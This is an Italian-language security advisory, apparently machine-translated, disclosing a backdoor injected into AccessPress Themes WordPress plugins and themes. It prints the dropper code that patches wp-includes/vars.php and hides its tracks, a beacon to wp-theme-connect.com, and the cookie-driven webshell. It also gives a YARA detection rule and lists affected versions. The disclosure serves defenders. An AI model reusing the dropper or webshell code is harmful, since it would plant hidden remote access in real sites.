Backdoor trovato in temi e plug-in da temi AccessPress

Pubblicato: 2022-01-19

Aggiornamento 1 febbraio – Modificata la sezione "Temi interessati" per riflettere che stanno iniziando ad apparire nuove versioni dei temi.

Durante le indagini su un sito compromesso, abbiamo scoperto del codice sospetto in un tema di AccessPress Themes (aka Access Keys), un fornitore con un gran numero di temi e plugin popolari. Dopo ulteriori indagini, abbiamo scoperto che tutti i temi e la maggior parte dei plug-in del fornitore contenevano questo codice sospetto, ma solo se scaricati dal proprio sito Web. Le stesse estensioni andavano bene se scaricate o installate direttamente dalla directory di WordPress.org.

A causa del modo in cui le estensioni sono state compromesse, sospettavamo che un utente malintenzionato esterno avesse violato il sito Web di AccessPress Themes nel tentativo di utilizzare le loro estensioni per infettare altri siti.

Abbiamo contattato immediatamente il venditore, ma all'inizio non abbiamo ricevuto risposta. Dopo averlo inoltrato al team del plugin di WordPress.org, i nostri sospetti sono stati confermati. I siti Web di AccessPress Themes sono stati violati nella prima metà di settembre 2021 e le estensioni disponibili per il download sul loro sito sono state iniettate con una backdoor.

Dopo aver stabilito un canale per comunicare con il fornitore, abbiamo condiviso con loro i nostri risultati dettagliati. Hanno immediatamente rimosso le estensioni incriminate dal loro sito web.

La maggior parte dei plugin è stata da allora aggiornata e le versioni pulite conosciute sono elencate in fondo a questo post. Tuttavia, i temi interessati non sono stati aggiornati e vengono estratti dal repository dei temi di WordPress.org. Se sul tuo sito è installato uno dei temi elencati in fondo a questo post, ti consigliamo di migrare a un nuovo tema il prima possibile.

Questa informativa riguarda un gran numero di estensioni, sia plugin che temi. Passa all'elenco seguente o continua a leggere per i dettagli.

Dettagli:

Fornitore: AccessPress Themes
URL del fornitore: https://accesspressthemes.com
Plugin: multipli
Temi: multipli
CVE: CVE-2021-24867

Analisi:

Le estensioni infette contenevano un contagocce per una webshell che offre agli aggressori l'accesso completo ai siti infetti. Il contagocce si trova nel file inital.php che si trova nella directory principale del plugin o del tema. Quando viene eseguito, installa una webshell basata su cookie in wp-includes/vars.php . La shell viene installata come una funzione proprio davanti alla funzione wp_is_mobile() con il nome di wp_is_mobile_fix() . Questo è presumibilmente per non destare sospetti a nessuno che scorre casualmente il file vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Una volta installata la shell, il contagocce telefonerà a casa caricando un'immagine remota dall'URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg con l'url del sito infetto e informazioni su quale tema utilizza come argomenti di query. Infine, rimuoverà il file di origine del contagocce per evitare il rilevamento al termine dell'esecuzione della richiesta.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

La webshell stessa si attiva se la stringa dell'agente utente nella richiesta è wp_is_mobile e la richiesta contiene otto cookie specifici. Si mette insieme ed esegue un carico utile da questi cookie forniti.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Abbiamo anche visto un'altra variante, presumibilmente più vecchia, della backdoor incorporata direttamente nel file functions.php del tema/plugin. Questa variante utilizza lo stesso meccanismo per mettere insieme il payload di otto cookie, ma non filtra sulla stringa dello user agent della richiesta.

Per garantire che il contagocce venga eseguito, il file del plugin principale (per i plugin) o il file functions.php (per i temi) sono stati modificati con il codice per eseguire il file inital.php se esiste.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Un dettaglio sorprendente dei timestamp dei plug-in compromessi è che risalgono tutti all'inizio di settembre. La maggior parte è del 6 e 7 settembre, con alcuni file del 2 e 3 settembre. Allo stesso modo per i temi, tutti sono stati compromessi il 22 settembre, tranne accessbuddy il 9 settembre.

Inoltre, i timestamp all'interno degli archivi zip sono molto uniformi, con quasi tutti i file con lo stesso timestamp esatto, ad eccezione del file del plug-in principale modificato e del file dropper aggiunto che viene stampato pochi minuti dopo (di solito circa 2-5 minuti dopo gli altri file nell'archivio).

Osservando i timestamp per i file zip scaricati dal repository wordpress.org , tuttavia, troviamo una distribuzione di timestamp corrispondenti a quando il plugin/tema è stato effettivamente aggiornato. Anche la distribuzione dei timestamp all'interno dell'archivio è meno uniforme e riflette quali file sono stati aggiornati nella versione e quali sono invariati rispetto a una versione precedente.

Questo ci suggerisce che i file dal sito Web di AccessPress Themes sono stati modificati intenzionalmente e come azione coordinata dopo essere stati originariamente rilasciati. Il compromesso sembra essere stato eseguito in due fasi, una per i plugin e una successiva per i temi. Ognuno di loro con alcuni tentativi precedenti, possibilmente per mettere a punto il processo.

La nostra indagine ha esaminato solo i temi e i plug-in disponibili gratuitamente dal sito Web di AccessPress Themes. Partiamo dal presupposto che i loro temi pro a pagamento siano interessati in modo simile, ma non li abbiamo esaminati. Se hai qualcuno di questi, contatta il supporto di AccessPress Themes per ulteriori consigli.

Temi interessati

Se sul tuo sito è installato uno dei seguenti temi con un numero di versione nella colonna Non valido , ti consigliamo di eseguire immediatamente l'aggiornamento alla versione nella colonna Pulisci . Vale la pena notare che i temi installati tramite WordPress.org sono puliti, anche se sono elencati nella colonna Bad . Si consiglia comunque di eseguire l'aggiornamento alla versione pulita nota per essere al sicuro.

I temi senza numero di versione nella colonna Pulisci non sono stati ancora aggiornati e, se possibile, ti consigliamo di sostituirlo con un altro tema.

Lumaca a tema Male Pulito
amico di accesso 1.0.0
accesspress-basic 3.2.1 3.2.2
accesspress-lite 2.92 2.93
accesspress-mag 2.6.5 2.6.6
accesspress-parallasse 4.5 4.6
accesspress-ray 1.19.5
accesspress-root 2.5 2.6.0
accesspress-staple 1.9.1
accesspress-store 2.4.9 2.5.0
agency-lite 1.1.6 1.1.7
aplito 1.0.6
bingo 1.0.4 1.0.5
blogger 1.2.6 1.2.7
costruzione-lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
illuminare 1.3.5 1.3.6
negozio di moda 1.2.1
fotografia 2.4.0 2.4.1
gaga-corp 1.0.8
gagalite 1.4.2
un passo 2.2.8
parallasse-blog 3.1.1574941215
parallasse 1.3.6 1.3.7
puntare 1.1.2 1.1.3
girare 1.3.1
ondulazione 1.2.0 1.2.1
scorrimi 2.1.0
rivista sportiva 1.2.1
storevilla 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
il lanciatore 1.3.2 1.3.3
il lunedì 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-notizie 1.0.5 1.0.6
zigcy-bambino 1.0.6 1.0.7
zigcy-cosmetici 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabella 1: Temi e versioni compromessi dall'attacco.

Plugin interessati

Se sul tuo sito è installato uno dei seguenti plug-in con un numero di versione nella colonna Non valido , ti consigliamo di eseguire immediatamente l'aggiornamento alla versione nella colonna Pulisci . Vale la pena notare che i plugin installati tramite WordPress.org sono puliti, anche se sono elencati nella colonna Bad . Si consiglia comunque di eseguire l'aggiornamento alla versione pulita nota per essere al sicuro.

I plug-in senza numero di versione nella colonna Pulisci non sono stati ancora aggiornati e consigliamo di sostituirlo con altri plug-in, se possibile.

Lumaca plug-in Male Pulito Nota
accesspress-posta-anonima 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-contatore 1.9.1 1.9.2
accesspress-social-icons 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-condivisione 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-icone-lite 1.0.9
ap-compagno 1.0.7 2
ap-modulo di contatto 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap-mega-menu 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
Apex-notifica-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
commenti-disabilita-accessopress 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-coming- Soon-lite 1.1.0 1.1.1
everest-comment-rating-lite 2.0.4 2.0.5
everest-contro-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-galleria-lite 1.0.8 1.0.9
everest-google-places-reviews-lite 1.0.9 2.0.0
everest-recensione-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
inline-call-to-action-builder-lite 1.1.0 1.1.1
cursore-prodotto-per-woocommerce-lite 1.1.5 1.1.6
smart-logo-vetrina-lite 1.1.7 1.1.8
post a scorrimento intelligente 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
total-team-lite 1.1.1 1.1.2
ultimate-author-box-lite 1.1.2 1.1.3
ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
cursore wp-1 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-info-utente 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messaggero-pulsante-lite 2.0.7
wp-menu-flottante 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
banner popup wp 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-product-gallery-lite 1.1.1
Tabella 2: Plugin, versioni compromesse dall'attacco e versioni pulite note,

Appunti:

  1. Questo plug-in non è stato aggiornato, ma si ritiene che sia pulito poiché la versione sul sito Web di AccessPress Themes era una versione precedente.
  2. Questo plugin non è stato aggiornato, ma si ritiene che sia pulito in quanto non era originariamente disponibile sul sito Web di AccessPress Themes.

CIO

La seguente regola YARA può essere utilizzata per verificare se il sito è stato infettato. Rileverà sia la parte contagocce dell'infezione che la webshell installata.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Raccomandazioni

Se hai temi o plug-in installati direttamente da AccessPress Themes o in qualsiasi altro luogo ad eccezione di WordPress.org, dovresti eseguire immediatamente l'aggiornamento a una versione sicura come indicato nelle tabelle sopra. Se non è disponibile una versione sicura, sostituirla con l'ultima versione da WordPress.org.

Tieni presente che ciò non rimuove la backdoor dal tuo sistema, quindi è inoltre necessario reinstallare una versione pulita di WordPress per ripristinare le modifiche al file core apportate durante l'installazione della backdoor.

Se hai un tema o un plug-in a pagamento da Temi/Chiavi di accesso di AccessPress, ti consigliamo di contattare il loro supporto per assistenza.

Ti consigliamo vivamente di disporre di un piano di sicurezza per il tuo sito che includa la scansione e il backup di file dannosi. Jetpack Security è un'ottima opzione di sicurezza di WordPress per garantire la sicurezza del tuo sito e dei visitatori. Jetpack Scan ha rilevato tutte le varianti di questa backdoor e del contagocce dal 30 settembre.

Sequenza temporale

22-09-2021: Il team di Jetpack Scan scopre il contagocce e la porta sul retro nel tema FotoGraphy e cerca di contattare il fornitore in merito alla scoperta iniziale.

27-09-2021: Conferma la presenza di contagocce + backdoor in tutti gli attuali plugin e temi gratuiti scaricati dal sito Web dei fornitori.

28-09-2021: Conferma che contagocce + backdoor non sono presenti nei download da wordpress.org

29-09-2021: Tentativo di contattare nuovamente il fornitore, con aggiornamenti su nuove scoperte.

14-10-2021: inoltrato al team dei plugin di WordPress per cercare di ottenere un contatto con il fornitore.

15-10-2021: le estensioni compromesse vengono rimosse dal sito del fornitore.

16-10-2021: Risposta del fornitore

17-01-2022: La maggior parte dei plugin è stata aggiornata a nuove versioni, i temi sono stati estratti da WordPress.org.

2022-01-18 Divulgazione al pubblico